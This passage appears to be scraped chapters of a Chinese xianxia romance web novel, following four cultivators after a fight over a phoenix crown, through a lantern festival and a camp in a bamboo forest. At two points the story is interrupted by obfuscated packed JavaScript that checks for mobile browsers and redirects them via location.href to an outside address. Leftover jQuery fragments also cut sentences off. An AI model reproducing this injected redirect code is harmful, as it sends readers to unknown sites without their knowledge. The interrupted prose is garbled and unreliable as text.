眼见着那剑尖就要没入她的腹部,肩上忽然传来一股外力,握着她的肩膀,一下子就将她带离了危险,同时那向她刺来的剑,也被另一柄长剑驳了回去,两剑极速相遇,发出‘铮——’的一声嗡响。 一个青年的背影出现在了明青眼前,他站在那里悠哉悠哉的说道。 “哎——,这是干嘛,有话咱们好好说呀,何必动刀动剑的,伤了和气就不好了。” 云修泽。 是他来了。 明青忽然就感到有一点安心,虽然这人性格奇怪,让她有时摸不透他的想法,但他身手很好,在一些事情上还是比较靠谱的,现在他来了,至少自己就不用像刚才一样以伤换伤。 可随即明青又为自己这点安心生了些警惕,她不知想到了什么,眼神又重新变回了原来冷淡的样子。 “你没事儿吧?” 唐思月和云修云围了上来,唐思月捏了捏她的手臂,上下打量着问她,发现她没受什么伤,放心了不少。 行愿本来在明青背后,刚刚将她拉出来,见两人一股脑的围上来,便无可奈何的退后两步,给他们让了个位置。 他扭头看向地上趴着的人,走过去像是切瓜砍菜一般补了两刀,说道。 “你大意了,没确认他们的死亡,他们中有功力深厚的人,在毒雾中能够坚持较久的时间,他假死等待时机,用石子偷袭你,你也没反应过来。” 可能是刚刚在拍卖会上明青才说过行愿像她的哥哥,所以现在被他说的有些心虚,她的眼神飘了飘,忽然转头去看唐思月。 “毒是阎罗殿。” 唐思月知道她想说什么,她拍拍她的手臂以示安抚。 “放心吧,我能解,进来之前喂过解药了。” 明青松了一口气的同时又有些惊讶。 “世上从未有人解过阎罗殿。” 刚刚在行进的过程中,唐思月的兜帽就已经掉了,但是她的脸上还附着一层白纱,此时应该是笑了,眼睛微微弯起。 “唐家无论是在平民百姓中,还是在各路修士中,都是以医毒出名,世人解不了的毒,不代表唐家解不了,只不过是不向外流传罢了。” 明青了然的点点头,四人没再交谈,都转头看向了云修泽那边。 刚刚那一击,就已经耗费掉了中年男人不少的力气,他没想到这个陌生女子还有后援,也清楚自己此时再做什么都是无用功了,所以也不去搭云修泽的话,独自在那里捂着伤口,眼神平静的看着他们。 明青走到云修泽身边,将手中的凤冠交给他看,云修泽将凤冠接过,却并未着急去看它,反而调笑起明青来。 “青哥威武啊,一对六全都撂到了还能活两个,何不再狠狠心全都弄死了呢,凑个吉利数字也是好的呀。” 他虽然说着调笑的轻松话,可眼神却是认真的,明青也知道是自己理亏,让他们担心了,所以也不去驳他,只是平静的问道。 “你怎么知道我是一对六?” 云修泽用下巴指了指远处躺着的几个人。 “那几个一看就是中毒死的,你是不怕毒,可雪字房这几个人肯定怕啊,你又不知道阎罗殿有解药,这两个人能活到现在,这毒肯定就是他们用出来的,想必是用了什么法子到现在还没被毒死吧。” 明青点点头,是她没转过弯,没能细想。 云修泽将凤冠举到眼前,一只手轻轻捏起那颗血红宝石仔细端详,它的质地十分的清透,触感似玉非玉,也不像寻常的宝石。 云修泽探了一点灵力进去,发现灵力在这颗宝石中运转的十分流畅,从里面转了一圈儿回到他体内,竟还多增添了几丝,他的眼神暗了暗,转头将感觉到的与几人说了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950938|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云修云兴冲冲的也试了一次,果然是一样的情形,唐思月眼睛向下,沉思片刻,说道。 “你们还记得我曾经说过双生子会在记号中添加的那个花汁吗?这颗宝石恐怕跟那种花来自同一个树种。” “这到底是什么树啊?这么好用。”云修云问道。 唐思月摇摇头。 “我们族中并没有记录,不过这也是个线索,以后有机会我会着重查查的,双生子跟这种树肯定有不浅的联系。” 云修泽捏着宝石轻轻转了转,艳丽的色泽透过光照晕在他墨一般的眼中,融入了他的静默。 总之,能找到方向就是好的,他将凤冠交还到明青手中,走到那个中年男人面前蹲下,一脸十分好说话的样子冲他笑道。 “这位仁兄,我刚看你眼睛总是盯着这个凤冠,想必是十分紧张它,不知道你家主人到底是冲着收藏来的?还是继续流通呀?还是——镜双子啊?” 见中年男人眼神警惕,一副誓不开口的模样,云修泽笑着描补道。 “你别紧张,我们几个就是想知道点儿消息,不如咱们打个商量,你说点儿我们想知道的,我们为你解毒,就算没拿到东西,好歹能活着回去报个信儿不是吗?” 这位仁兄双眼一闭,拒绝沟通。 云修泽无奈耸了耸肩,明青走上前来,轻声说道。 “这些人不像死士,但全都愿意拿命换这个凤冠,不会轻易张嘴的。” 她忽然摸到了凤冠上的四皇子私印,眼神微动,试探说道。 “今上不是明君,谁是?前朝那个早逝的四皇子吗?” 装死的这位仁兄骤然睁开了眼睛,他恶狠狠的盯着明青。 “小丫头口出狂言!给我放尊重点儿!” 云修泽面无表情的将禇闲递了上去,剑刃顺着他的脖颈向上挑了挑他的下颚,语气有些不善的把这话还了回去。 “是你要放尊重点儿。” 中年男人冷哼了一声,神色轻蔑道。 “世人昏聩糊涂,史实由胜者书写,即使是卑劣的胜者,身居高位,想要蒙蔽浑浑噩噩的世人,也都是再简单不过。” 明青抿起了双唇,云修泽挑了挑眉,歪着头笑起来,似乎并不因为他的话而生气,饶有兴趣道。 “哦?你的意思是这其中另有隐情?与四皇子有关,那镜双子在其中又扮演了什么样的角色呢?” 那边的云修云看着他这样,忍不住凑到唐思月身边,捂着嘴悄悄和她说道。 “每次我哥露出这个模样,就是要忽悠人了,你看看他,狐狸尾巴都要摇起来了。” 他不说还好,这么一说倒还真有那么几分样子,唐思月忍不住轻轻笑了起来。 云修泽的确是打算开始忽悠人了,可无奈的是这人根本不接他的茬儿,只是敷衍的告诉他这血红宝石的确来自镜双子后就不再搭理他,反而又转向了明青,阴恻恻的对她说道。 “你以为现在的皇上就是什么真龙天子吗?如果他真的那么问心无愧,又为什么会封禁前朝,不许世人言说?” 云修泽被他一顿敷衍,他蹲在那里,云修云却觉得他的尾巴都深感无趣的垂了下去。 明青的嘴角绷直,显然现在的心情并不太好,她低头认真的反驳。 “今上做的每一件事都是利民之事,现在的太平盛世他更是功不可没,封禁前朝......封禁前朝自有他的理由,岂容你这等藏头露尾的小人攻瑕索垢。” 那人讥讽的眼神没有变,他不紧不慢的冷笑道。 “呵,我们的藏头露尾全都由你这位明君一手造成,因为他的皇位.......” 明青微微睁大了双眼,听他一字一句的说道。 “是、偷、来、的!!!” 明青明知道这人很可能是在混淆视听,污蔑诟病,却也忍不住双眼微微失神,心神动荡不安。 中年男人似乎早在谋划这一刻,话说出口的一瞬间,就飞速弹起,一只手从明青手中捞回了凤冠,另一只手则以迅雷不及掩耳之势扔下了一颗药丸,霎时迷烟四起,却并不是毒,只将几人熏的眼睛都无法睁开,等他们破开迷雾时,中年男人就已经带着凤冠失去了踪影。 明青懊恼蹙眉,伸出的手纂成了拳慢慢垂下。 “怪我。” 云修泽站在她旁边也有些无奈。 “怪我,离得那么近,竟然没有反应过来。” 明青摇摇头,没有说话。 唐思月三人也悄无声息的围了上来,几人看着她,知道她的心情不好,却也不知从何下手来安慰她,云修云性子最乐观,此时也最先开口。 “没事儿!明青姐,凤冠咱们也看过了,能问的咱们也问了,让他拿走便拿走吧,也省的后续给咱们招惹麻烦。” 见她还是不说话,云修泽想了想,悄悄从旁边捻出一朵花儿藏了起来,伸手到明青眼前稍微摆了摆,引起她的注意力后,手腕儿一个翻动,便将那朵藏起来的花儿像变戏法一般奉到了她的眼前。 “这两日摸排城中路径,叫我无意间发现一间小店,做菜很是一绝,不知——明姑娘可否能赏脸陪我尝一尝?” 明青看着眼前随着微风轻轻摆动的花,又抬头看了眼几人关切的表情,眼神动了动,将花儿拿了过来,微微嗅了一下后,语气轻缓的说了声。 “走吧,回去了。” * 两人转身离开,剩下的三人还在原地商讨。 云修云:“......那我们去吗?” 行愿:“他说陪他。”没说要带上他们三个。 唐思月:“可我们也得吃啊。” 云修云:“那我们去别的地方?” 这时已经要走远的云修泽转身冲他们招呼。 “愣着干嘛呢?走了!” 三人面面相觑,最终唐思月扑哧一笑,轻快说道。 “走吧!” 12. 孚望十二 刚刚他们追雪字房的人追到了城外,虽然算不上远,但也说不上近,几人也没有着急回去,等到天色完全暗下来,才算是回到了城内。 今日城中十分热闹,路旁都点起了花灯,小孩子三五成群的在大街小巷穿来穿去笑闹着,街上的大多数都是岁数不大的,有年轻的夫妇,未婚的女子也都精心装扮,细细画了花钿,大都提着花灯,郎君们也都个个身姿挺拔,意气风发,节庆气氛浓厚。 云修泽找到了路旁一个卖花灯的商贩,给了他一些碎银,做势挑选花灯,随意与他搭话,问道。 “诶小哥,我们是外地来的,正好经过这里,待着也有两三日了,怎的今日城中这般热闹?” 那商贩看着他给的银子已经远超这灯的价格,就笑眯眯的示意他随意挑选,听他问话,就回道。 “公子有所不知,我们就是个边陲小城,曾经遭过战乱,又偏远,离各地都不算近,战争刚刚结束的那段日子很是艰苦,当时的城主大人为了让人们脱离那种死气沉沉的氛围,就把战乱消失的日子,定作一个节日,一开始还只是大家一起热闹热闹,这不,慢慢的发展,很多姑娘和郎君选在这天定情,已经成婚的也喜欢在这天放河灯以示感情和睦,这才成了今天的样子。” 云修泽笑了笑,说。 “那很不错啊,说明人们的心中是真的安定下来了。” “哎呀!可不是嘛!” 商贩拍了拍腿,也很高兴,他的眼睛在几人身上来回转了几圈儿,凑近云修泽小声的说。 “这位公子,我看您几位都是人中龙凤,是要在外面闯荡的,您看您来到我们这儿这么赶巧就遇上这个节日了,何不就将花灯送给姑娘,然后在城中逛一圈,说开了早日定情才好,这两位姑娘,虽都蒙着面,但是能看出来都是姿容姣好之人,您不趁早定下来,可要小心来日被人抢走,我们这儿每年在这个时候定情的,就没有一对儿不成的,可灵了!!!” 他偷偷摸摸的说,自以为瞒的很好,可其实这个距离,几人都能听的一清二楚,看他这个样子,竟是真心想要撮合,云修泽略微有些尴尬,也有些哭笑不得。 “多谢您的美意,不过我们只是朋友,花灯虽是要买的,但也不过是给姑娘们解闷儿玩儿,总不能满城的姑娘都提着灯,我们的姑娘反倒没有。” 他说着,从各式各样的花灯中,挑中了一个红眼睛的兔子灯,正准备去挑下一个,云修云却突然从后面钻了过来,拿了高处悬挂的一支非常精美的荷花灯,十分手快的付了钱,他笑嘻嘻的对云修泽说。 “嘿嘿,这支我给,这支我给。” 云修泽一挑眉,没说什么,商贩却诚惶诚恐的想要将钱还回来。 “哎呦,您给多了,刚刚这位公子给的够买两位手上的这两支了,可不能再给了。” 云修云利落的将他拿着钱的手往回一推,抬高了下巴,眼睛亮亮的,笑道。 “您收着吧,我有我的心意,总不能让他付钱,多的算送是给您图个好意头。” 那商贩见状也不再推辞,作着揖,眉开眼笑的说起好话来。 “小公子慷慨,眼光也好,这荷花灯是我这些灯里做的最好看的一支,虽没有您的心意贵重,但是礼轻情意重,姑娘一定能感觉到您的心意的。” 云修泽没去管他,拿着那只兔子灯转身去找明青,满车的花灯将这一片地方照的很亮,但明青偏偏站的远了一些,乍一看去,倒像是她将自己与他们隔了开来,站在暗处显得有些冷漠,又显得有些孤独。 云修泽顿了顿,带着兔子灯,慢慢走到了她身边,一支灯的火光不算很亮,但还是很柔和的、随着云修泽的脚步,慢慢来到了明青身边。 他将发着光的兔子灯送到她手上,带着微微的笑意和她一起默默看着这支花灯,两人谁都没有开口,安静的能听见街上各种叫卖声和那边云修云与商贩的对话声,在这个热闹的环境中,两人仿佛独自成了一个小天地,隔开了所有人。 过了一会儿,明青开口问道。 “为什么是兔子灯?” 其实云修泽也不知道为什么,他想了一会儿,决定实话实说。 “嗯......我也不知道为什么,直觉吧,感觉你会喜欢它。” “......谢谢。” 明青看着手中的兔子灯,面纱遮挡了她的容颜,云修泽不知道她是不是笑了,但她变得柔和的目光却已经告诉了云修泽她的高兴。 总算是将人哄好了,云修泽的心情也随着她眉头的舒展变得轻松。 那边的云修云与商贩聊了几句,便提着那支花灯来到了唐思月面前,到了人家面前,反倒是有些扭捏,他没什么底气的将荷花灯递过去,小声的说。 “我也没有别的意思,就是看它好看,虽然没有你好看,但这不是过节嘛,应个景,你别多想。” ”好,我知道了,多谢你,我很喜欢。” 她轻轻接过云修云手中的提手,将荷花灯举高了些,灯火便透过荷花的外壳轻轻映照在她的脸上,灯下观美人,更胜三分,何况人们向来喜爱朦胧的美感,如同雾里看花,水中望月。 此时的唐思月只是细细看着这只造型精美的灯,却给了云修云一种朦胧之感,似乎她就是那雾里的花,水中的月,等你忍不住想要去触碰时,就会发现,这一切不过是一场空。 莫名的,云修云感到有些心慌,他一下子抓住了唐思月的手腕,有些惊疑不定的看着她。 他能抓住她,手下的肌肤是温热的,就在他身边,他努力平复着自己,唐思月却被他唐突的举动吓了一跳,手中握着的荷花灯也被迫摇晃了几下。 她有些气恼的抬头看向云修云,却发现他像是有些害怕的样子紧紧抓着自己的手腕,唐思月略微疑惑,于是也没有试图抽回自己的手腕,就任他这么握着,轻声试着安抚。 “这是怎么了?被什么吓着了?我在这儿呢,跟我说说?” 云修云听到她的声音,看向自己紧紧抓着唐思月的手,像是才反应过来一样一下子松开。 他往后踉跄着退了两小步,整个人都肉眼可见变得僵硬,他的手无措的挠挠头又摸摸腿,不知该往哪里安放,他纠结了一会儿,干脆放弃了,沮丧的低头道。 “对不起啊,思月,我又不小心冒犯你了,我不是故意的,刚刚不知怎么的,看你在灯下,总有种你要离开的感觉。” 云修云比唐思月要高出大半个头去,此刻整个人都像是一只犯了错的毛茸茸的小东西,不免让她觉得有些可爱。 唐思月怀着新奇又柔软心情摸了摸云修云的头,冲他晃了晃手中的荷花灯。 “不会呀,我就在这里,不会消失的,你刚刚不是送了我一支荷花灯吗?我拿着它,你不会找不到我。” 云修云被她摸的整个耳朵都红了起来,他偷偷抬眼看了唐思月一下后又飞快的垂下了眼睛,轻声寻求保证。 “真的不会找不见吗?” 唐思月见他这个样子,沉吟片刻后说道。 “那这样吧,我拿着这灯,你什么时候需要了,跟我说,我会答应你一个要求,这样你总能放心吧?” 云修云一下反应过来了,有些着急的摆着手。 “不,不不不!我只是想送给你,并不想拿它和你换什么,你什么都不用给我!” 唐思月笑着,也不回话,用沉默表达她的坚持,云修云看她这个样子,知道她是为了安抚自己才会这样做,安静了一会儿,轻声说道。 “谢谢你,思月。” 唐思月向前走去,路过他时,轻轻拍了拍他的肩。 “应该的,我们是同伴,不是吗?” 云修泽和明青已经在不远处等着他们,然后是唐思月,在她之后则是沉默寡言的行愿,云修云站在原地看着他们四个人,忽然咧开了笑容,快步跟了上去,语气轻快的抱怨道。 “诶!等等我呀!” 云修泽带着他们四个弯弯绕绕的走了好一会儿,有的巷子偏僻的甚至都没有什么光亮,也幸亏他们都身负灵力,再加上明青和唐思月手中提着的花灯,才叫他们不至于两眼一抹黑。 到了地方一看,比起饭馆其实更像是一个民宅,主人家是一对聋哑的老夫妻,倒是收养了一个伶俐健全的儿子。 他们没钱到外面去租铺子,于是就干脆拿自己家的院子招待客人,在门上挂了牌坊,但这里人迹罕至,那个牌坊又不是十分的显眼,也少有人来,按理说早就应该开不下去了,但架不住老夫妇的手艺很好,小儿子又十分的会说话,所以基本每个到这里吃饭的人都成了回头客,这么多年,倒是勉强支撑了下去。 五人在为数不多的桌椅里找了一个角落的位置坐了下来,老夫妇过来笑着点点头,给他们送了一些茶水,然后就直接将地方让给了小儿子。 这小子十几岁的年龄,生的到十分清秀灵动,他熟门熟路的拿出一份单子,眼睛在几人身上咕噜噜一转,巧笑着把单子递给了明青。 “几位客人,我们这里菜品虽不多,但个个都很好吃,几位想点儿什么?保管不叫您失望。” 云修泽挑眉一笑,心想这小子倒是上道,明清看了他一眼,也不跟他客气,简单圈了几个菜品后就递给了唐思月,几人看了一圈儿,将单子交还给那个小子后,说道。 “这些就够了。” 那小子接过来,微微弯腰,笑容十分讨喜。 “得嘞,几位稍等,我叫阿木,有什么需要随时叫我。” 院子里除了他们,仅有两三桌客人,环境说不上好,但打扫的十分干净,几人坐在角落,也方便叙话。 阿木果然没叫他们久等,不一会儿就将菜上齐了,最后一道是淡红色鸡汤,刚一打开就觉得香气扑鼻,叫人食指大动,云修云明显对它心动了,阿木带了些得意,给几人介绍道。 “几位客官,这道鸡汤是用的野山鸡,熬汤的底料都是我阿嫲特制的,对身体很有好处,几位慢慢品尝。” 云修云最先动手的就是那道鸡汤,云修泽本以为他会马上尝尝,却没想他盛的第一碗竟送到了唐思月手上,云修泽的眼神在他们两个人之间转了两圈,然后也有模有样的学起来,亲自盛了一碗,以不容拒绝的方式送到了明青面前。 明青自己已经有一碗了,她看着手中莫名其妙多出来的一碗鸡汤,又抬头看了看若无其事的云修泽。 对面是正在小口喝着鸡汤的唐思月,她心中不由觉得有些好笑,遇到他不擅长的事,他就会去学习别人,也不管是否适用,倒显得有些笨拙。 四人盛来盛去,一旁的行愿与世无争,坐在唐思月身边,自己给自己盛了一碗。 他现在已经不像一开始那样对着几人严防死守了,吃饭的时候一般会将面具稍微掀开一些,几人也会礼貌的刻意回避自己的眼神,他吃的也快,一般都是第一个吃完,然后坐在那里安静的等着他们。 “你说你要找你哥哥,那你记得你哥哥长什么样子,具体有什么特征吗?” 对于凤冠,几人都更在意双生子的消息,但明青似乎也很在乎皇族的事情。 法修不得干预朝廷之事,皇室宗亲也不会把子弟送来修法,这是约定俗成的事情,他们虽然不修灵力,但也不是毫无缚鸡之力,一般都自成一套体系,是以锻炼肉身为主的。 明青是法修,可她对于皇帝和前朝的关心,显然超过了一个正常法修会关心的程度,如果说是单纯的觉得这个皇帝当的不错,倒也勉强说得过去,但以明青的性子,云修泽觉得也没什么可能。 他有心想问,却也知道他们之间的关系只是同路人,说的上是同伴,却说不上是好友,面上和谐,心中却还存有壁垒,问了她也不会说,反而会将她推的更远些,于是也只挑一些不那么私密的事情询问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950939|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明青听他问话,轻轻摇了摇头。 “没有,兄长离去时我还年幼,记不清他的模样,他是不矮的,但有多高我却无法准确的说出来。” 云修泽点点头,也没感到意外。 “那他的剑呢?剑名是什么?可习得什么功法比较有特点?” 明青垂下眼睛,声音也低了一些。 “他终日将自己困在院子里,我从没见过他的剑,也从未见过他练武,我想过问父母,他们却什么都不愿意说。” “那和你兄长有关的线索岂不是只剩了镜双子?” 唐思月在旁边问道。 明青沉默的点点头,眼见着她的情绪又变得低迷,云修泽的话在嘴边转了一圈,最终也只是轻声安抚道。 “我们会找到镜双子的。” “嗯。” 这对夫妻的手艺十分不错,几人吃的很开心,临走时还特地多给了一些银钱. 重新回到热闹的大街上,商贩比刚刚又多了许多,还有一些人挑着装有各种零碎玩意儿的担子,一边走一边吆喝,唐思月看着有趣,便和云修泽说了一声,转身拉着行愿像是鱼入大海一般欢快的离开。 云修云有心跟上,却无奈起了兴致的姑娘脚步很快,街上人那么多,一转眼两人就没了身影,于是就只能留在了云修泽和明青身边。 有拿着糖人的小姑娘一个不注意撞在了明青身上,她懵懵的抬起头,看见是一个蒙着面的漂亮大姐姐,就露出缺了一颗牙齿的笑脸,不好意思的笑了两声又跟着同伴们跑远了,明青目送她离开,转身冲兄弟二人说道。 “走吧,机会难得,我们也去逛逛。” 云修云暗暗心想,再高冷的姑娘,终究也是姑娘,明青姐也抵不过这种诱惑。 三人逛了几家店,在一家卖饰品的小店中,云修云看中了一颗红色的灵石,和双生子那颗有一些相像,他叫来店小二询问,店小二堆着笑脸。 “哎呦!这位公子眼光实在是好,这是九炎石,出自炙热的九炎城,是那个地方的特产,经过九道火焰的锻烧,有避火的功效,您看的这颗更是万中之一,用来雕刻成首饰送给心爱的姑娘,不仅好看也很实用啊!而且我们店还提供首饰制作的,您只要出钱,想要什么样子画下来与我们,我们保证不到五日就能送到您的手上!” 在这种节日进了首饰店,又是个年轻的公子,店小二自然以为这是为了讨好姑娘来的。 见他有些心动,云修泽在旁边说道。 “想买来送给思月?何不看看那边颜色素雅些的,思月可没有穿戴过颜色艳丽的衣裙和首饰。” 云修云挠了挠头,有些不好意思地笑起来。 “思月戴什么都是好看的,我只是觉得这颜色衬她,也许以后能用上呢。” 见他这个样子,云修泽就笑着揶揄他。 “用上?红色的首饰,你小子倒真敢想。” 修士穿戴虽没有颜色阶级,但是日常中也很少有人会穿的如此艳丽,他这个弟弟,平日里看着心思单纯,认定了一个人之后,想的到十分之远,不像他。 云修泽收敛了表情,余光中,明青正安静的挑选店内的东西。 他承认自己对她的好感,但心中,一部分的自己在靠近她,一部分的自己又在不断的质疑、远离她。 每个人都怀有秘密,她的事情牵扯到了皇族,也不像他们兄弟二人一样只是单纯的想要找到地方,与镜双子那对危险人物的纠葛,比他们只深不浅。 他明白自己应该冷眼旁观,帮着她一起找到地方算是目的相同,但如果再靠近些,恐怕就会被拖入泥潭,明哲保身才是上上之策。 云修云付了十万金拿下了这颗拇指大小的珠子,并拒绝了店小二提供的首饰制作,他转身冲两人招呼。 “走吧!” 云修泽又扬起笑脸。 “你单买颗珠子做什么?咱们停个几天也是可以的,何不等他们做完了再走?” 云修云双手背后,一边哼着曲儿一边蹦跶着往门外走去,听到云修泽的话,头也不回的伸出食指摆了摆。 “啧啧,这就是你不懂了,大哥,我要自己做给她,虽然我没做过,可能会做的很慢,也算不上如何精美,但是重在心意啊!” 云修泽失笑,一边好好好的应他,一边带着明青往外走去,他们所在的地方离河不远了,路旁卖河灯的也变得多起来,除了夫妇表达爱意,人们也会在河灯上写上自己对爱侣或者家人的祝福,放入河中,如果正好被对方捡到,所求就一定能圆满。 云修泽见明青的眼神总是不时的瞟向路旁卖的河灯,便问她说道。 “买一个放吗?” 明青摇了摇头,眼睛却还是时不时的会去看一下,她拒绝了,云修泽就顺着她的意思,本不想再管,走了一会儿,看她这个样子,还是忍不住叹了口气,到商贩那儿给了钱,轻轻取了一盏河灯放到她的手中,拿过商贩给的笔递给她。 “哝,写吧。” 明青抿了抿双唇,有些别扭的将笔接了过来,小声说道。 “谢谢。” 她提笔想了一会儿,在河灯上慢慢写下。 ‘愿,兄长恩垚平安康健。’ 停了一下,又添了一句。 ‘得偿所愿。’ 她捧着那盏河灯,兄弟二人陪着她到河边,看着她蹲下身,慢慢将河灯放在了河面上。 水流潺湲而行,明青的河灯起伏着汇入了星星点点的灯群之中,云修泽的陪着她,静静目送着那只河灯,直到再也看不见了,明青才站起身。 “走吧。” 三人离开了这里,河流蜿蜒曲折,贯通了整座小城,那盏河灯顺着水流飘到了一处较为安静的地方,上面的字被烛火映衬的明暗不清。 而此刻,正有一个男子弯下腰,将这盏河灯轻轻拿到了手中。 13. 孚望十三 几人在下榻之处附近的街道上重新聚首,唐思月常年被隐藏着,少有能出来逛逛的机会,单看她身后行愿身上挂的一堆东西就能知道她今天玩得很开心。 不过她自己倒是什么都没有拿,脚步略显轻快,来到了三人身边。 行愿的步子依然稳健,可他身上真的是满了,莫说双手拎满了东西,就连他的刀柄上,都被唐思月套上了一些不知从哪儿淘来的小玩意儿,两人就这么对比鲜明的走了过来,别说二云了,就连明青都有些忍俊不禁,唐思月平时看着温柔娴静,这逛起街来,下手倒是丝毫不手软。 几人走着,云修云便悄摸摸凑到了行愿身边,刻意压低的声音,小声问他。 “行大哥,你们这都买的什么呀?” 行愿看了看身上琳琅满目的东西,闷声答道。 “记不清了,总归是她喜欢的。” 云修云伸手拨弄了下刀柄上挂着的小东西。 “那么多东西,怎么不收起来?拿着多费劲。” 行愿看了看唐思月蹦蹦哒哒的背影,也跟着放低了声音。 “她难得这样,姑娘买东西,总要能看见才觉得开心,若是到手便收起来了,心中知道自己有了却看不见,这份高兴恐怕就要折半。” 云修云从没想过这点,顿时就肃然起敬,可过了一会儿又变得失落起来,他问道。 “行大哥,我是不是做什么事儿都不太过脑子?想着对她好,却往往不够细心,我这样,又哪里能打动她呢?” 行愿想了一会儿,他不常跟人交谈,也不知该怎样去安慰他人,只能干巴巴的说。 “做好你自己就可以。” 云修云勉强打起精神,冲他笑了笑,快跑两步追上了唐思月,开始旁敲侧击她喜欢的首饰样式。 比起他们,云修泽和明青两人就沉默了许多,他们的默契不止体现在武力上,显然今夜的氛围也让两人对彼此心中有了个底,云修泽抬头望天,看着沉沉的夜空,轻轻叹了口气。 五人在这座小城中度过了最后一夜,第二日,便启程离开。 那座城池的确已经是最偏僻的了,几人走了一天,再没看见半个城池或者村庄的影子,直到黄昏时分,他们路过一片广袤的竹林,才在远处看见零星几户人家的炊烟。 云修泽坐在马上,一只手放在眉眼处极目远眺。 “不过三四户穷苦人家,不知因何在这种偏僻的地方生活,我们还是莫要叨扰了。” 明青则看着眼前的竹林。 “这片竹林很大,位于衢州边界,穿过它,就是计都的地界。” 云修泽骑着马在原地踱步,他一手握着缰绳,看着低处的她挑眉取笑。 “你竟还认得路?” 明青当即给了他一个眼刀,云修泽姿态闲适,配合她表演,不慌不忙一个歪头就表示闪躲成功。 云修云心中觉得他们幼稚,却连小声嘟囔也不敢,看这个天色,今晚恐怕就要在这竹林里过夜了,他上次全程看了行愿处理野兔的手法,正是信心大增的时候,不耐烦在这里等他们打情骂俏,于是招呼一声,打算先行一步去竹林里面捉些野货,唐思月从马车里钻出来,连忙将他叫住。 “竹林那么大,你这么乱跑,会跟我们失散的。” 被她关心,云修云显得有些高兴,他在不远处冲她抬了抬下巴,十七岁的少年身形尚且显得有些单薄,他坐在高头大马上回头这么一笑,正显得少年意气风发,他扬声说道。 “你放心!我和大哥的玉佩能让我们大概知道对方的位置,不会丢的!你等我今天给你露一手!” 说着他扬起马鞭一甩,纵马飞入了竹林。 唐思月若有所思的看向云修泽腰间的玉佩,云修泽便拿起那块儿玉佩向她解释。 “一块儿玉胚所制,很是难得。” 唐思月点点头,既然云修云去找吃的了,几人就慢慢悠悠的去找过夜的地方。 云修云所言不虚,并没有用很久,他便提着两只不知从哪儿弄来的野鸡找了过来。 看着那两只活蹦乱跳的鸡,想起昨天云修云买的一堆乱七八糟的调料,云修泽心中有了点儿不好的预感,他摸摸下巴,语气有些奇怪。 “你莫不是想要复刻咱们昨夜喝的鸡汤吧?” 云修云嘿嘿一笑。 “知我者,莫若我兄也。” 云修泽的嘴角抽了抽。 “你个从小到大远庖厨房的小少爷,想起什么来了要来毒害我们。” 云修云根本没有被打击到,他颇有自信的将几人都赶到一边,不让任何人围观,自己在一旁手忙脚乱的开始收拾鸡。 唐思月给行愿使了一个眼神,行愿心领神会,避开他做起别的吃食来,还站着的三人对视一眼,不约而同松了口气。 黄昏是短暂的,余霞成绮缓缓散去,云修泽捡了些细竹充当柴火堆在几人中间,点燃了火焰,唐思月也照旧撒了一圈毒粉,几人围在一起,四双眼睛盯着云修云端来了一锅冒着热气的鸡汤。 他殷勤的给四人各盛了一碗,蹲在那里搓搓手,琥珀色的眼睛眨了眨,期待着他们的反应。 云修泽看着眼前色泽还算正常的鸡汤,咽了下口水,带着点儿英勇就义的意思闭眼喝了一口,见他带头儿,唐思月和明青也都尝了尝,只有行愿还留着一份谨慎。 沉默在几人之间弥漫开来,疑似乌鸦的叫声很合时宜的从远处传了过来。 云修云眼睛左看右看,小心的问。 “怎么样?” 云修泽与明青对视一眼,张嘴迟疑了一会儿,还是没说什么。 反倒是平时总是带着温柔笑意的唐思月先变了脸色,她的表情有些奇怪。 “这是什么?” 云修云看了看她碗中的鸡肉,不太确定的回答。 “......鸡...汤?” 唐思月连笑都笑不出来了,语速有些快。 “你确定这不是鸡在里面洗了个澡?” “噗、哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!!!!!!” 一阵突兀的笑声忽然从竹林传出,惊动了不少鸟兽。 云修泽不断的拍打着自己的大腿,整个人笑的前仰后翻,行愿捂住了自己唯一露出来的眼睛,低着头肩膀不住耸动,就连明青都把头撇向一边,抿着嘴在竭力憋笑。 其实云修泽早就发现了,唐思月虽然被培养成名门闺秀,可骨子里还是有些叛逆毒舌。 云修云委屈巴巴的瘪了瘪嘴。 “真的那么差吗?” 唐思月绷不住了,也跟着笑了出来。 “没有,哄你玩儿的,这鸡汤虽说不上好喝,但也没难喝到那个地步。” 云修泽抹着笑出来的眼泪到他身边揽住他的肩膀。 “真的真的,我没想到你第一次就能做成这个样子,算不错的了。” 云修泽在云修云这里没有丝毫信任可言,他抬头去看明青,明青已经平复了,肯定的对他点了点头,这才让他放松下来。 “思月你变坏了!” 唐思月耸了耸肩,无辜的冲他道歉。 “对不住,对不住,这不是缓解一下你紧张的心情嘛。” 她的语气没什么诚意,但云修云向来对她没脾气,只能按头认下。 后来在云修云一副遭到背叛的表情下,行愿把刚刚偷偷做的其他吃的拿了上来,几人鸡飞狗跳的才算是吃完了一顿饭。 今晚是明青守夜,周围静悄悄的,她抱剑靠在树上,看着燃烧的火堆不知在想些什么,悉悉索索的声音传来,她也不动,只有头微微转动,眼睛向下便看到了云修泽在她身边坐了下来。 他抬头人畜无害的笑起来,拍拍身边的地方邀请她一起坐下。 明青停了一会儿,还是依他的意思坐下了。 